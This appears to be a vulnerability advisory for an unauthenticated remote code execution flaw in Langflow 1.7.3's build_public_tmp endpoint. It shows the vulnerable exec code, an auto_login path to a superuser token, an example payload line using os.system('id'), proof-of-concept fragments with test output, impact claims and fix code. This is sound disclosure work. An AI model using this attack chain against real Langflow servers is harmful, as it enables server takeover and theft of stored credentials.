def prepare_global_scope(module):
exec_globals = globals().copy()
# Imports are resolved first (any module can be imported)
for node in imports:
module_obj = importlib.import_module(module_name) # line 352
exec_globals[variable_name] = module_obj
# Then ALL top-level definitions are executed (Assign, ClassDef, FunctionDef)
if definitions:
combined_module = ast.Module(body=definitions, type_ignores=[])
compiled_code = compile(combined_module, "<string>", "exec")
exec(compiled_code, exec_globals) # line 397 - ARBITRARY CODE EXECUTION
Critical detail:prepare_global_scope executes ast.Assign nodes. An attacker's code like _x = os.system("id") is an assignment and will be executed during graph building -- before the flow even "runs."
Prerequisites
Target Langflow instance has at least one public flow (common for demos, chatbots, shared workflows)
Attacker knows the public flow's UUID (discoverable via shared links/URLs)
No authentication required -- only a client_id cookie (any arbitrary string value)
When AUTO_LOGIN=true (the default), all prerequisites can be met by an unauthenticated attacker:
GET /api/v1/auto_login → obtain superuser token
POST /api/v1/flows/ → create a public flow
Exploit via build_public_tmp without any auth
Proof of Concept
Tested Against
Langflow version 1.7.3 (latest stable release, installed via pip install langflow)
# Wait 2 seconds for async graph building
sleep 2
# Check proof file written by attacker's code on the server
cat /tmp/rce-proof
# Output: uid=1000(aviral) gid=1000(aviral) groups=... on kali
Actual Test Results
======================================================================
LANGFLOW v1.7.3 UNAUTHENTICATED RCE - DEFINITIVE E2E TEST
======================================================================
Version: Langflow 1.7.3
RUN 1: POST /api/v1/build_public_tmp/{id}/flow (NO AUTH)
HTTP 200 - Job ID: d8db19bf-a532-4f9d-a368-9c46d6235c19
*** REMOTE CODE EXECUTION CONFIRMED ***
canary: RCE-f0d19b36
hostname: kali
uid: 1000
whoami: aviral
id: uid=1000(aviral) gid=1000(aviral) groups=1000(aviral),...
uname: Linux 6.16.8+kali-amd64
RUN 2: POST /api/v1/build_public_tmp/{id}/flow (NO AUTH)
HTTP 200 - Job ID: d2e24f20-d707-4278-868c-583dd7532832
*** REMOTE CODE EXECUTION CONFIRMED ***
canary: RCE-6037a271
RUN 3: POST /api/v1/build_public_tmp/{id}/flow (NO AUTH)
HTTP 200 - Job ID: 5962244a-42af-4ef6-b134-a6a4adba5ab7
*** REMOTE CODE EXECUTION CONFIRMED ***
canary: RCE-4a796556
FINAL RESULTS
Total checks: 15
VULNERABLE: 15
SAFE: 0
RCE confirmed: 3/3 runs
Reproducible: YES (100%)
Impact
Unauthenticated Remote Code Execution with full server process privileges
Complete server compromise: arbitrary file read/write, command execution
Environment variable exfiltration: API keys, database credentials, cloud tokens (confirmed in PoC: env_keys exfiltrated)
Reverse shell access for persistent access
Lateral movement within the network
Data exfiltration from all flows, messages, and stored credentials in the database
Comparison with CVE-2025-3248
Aspect
CVE-2025-3248
This Vulnerability
Endpoint
/api/v1/validate/code
/api/v1/build_public_tmp/{id}/flow
Fix applied
Added Depends(get_current_active_user)
None -- NEW vulnerability
Root cause
Missing auth on code validation
Unauthenticated endpoint accepts attacker-controlled executable code via data param
Code execution via
validate_code() → exec()
create_class() → prepare_global_scope() → exec()
CISA KEV
Yes (actively exploited)
N/A (new finding)
Can simple auth fix?
Yes (and it was fixed)
No -- endpoint is designed to be unauthenticated; the data parameter must be removed
Recommended Fix
Immediate (Short-term)
Remove the data parameter from build_public_tmp. Public flows should only execute their stored flow data, never attacker-supplied data:
@router.post("/build_public_tmp/{flow_id}/flow")
async def build_public_tmp(
*,
flow_id: uuid.UUID,
inputs: Annotated[InputValueRequest | None, Body(embed=True)] = None,
# REMOVED: data parameter -- public flows must use stored data only
...
):
In generate_flow_events → create_graph(), only the build_graph_from_db path should be reachable for unauthenticated requests:
async def create_graph(fresh_session, flow_id_str, flow_name):
# For public flows, ALWAYS load from database, never from user data
return await build_graph_from_db(
flow_id=flow_id,
session=fresh_session,
...
)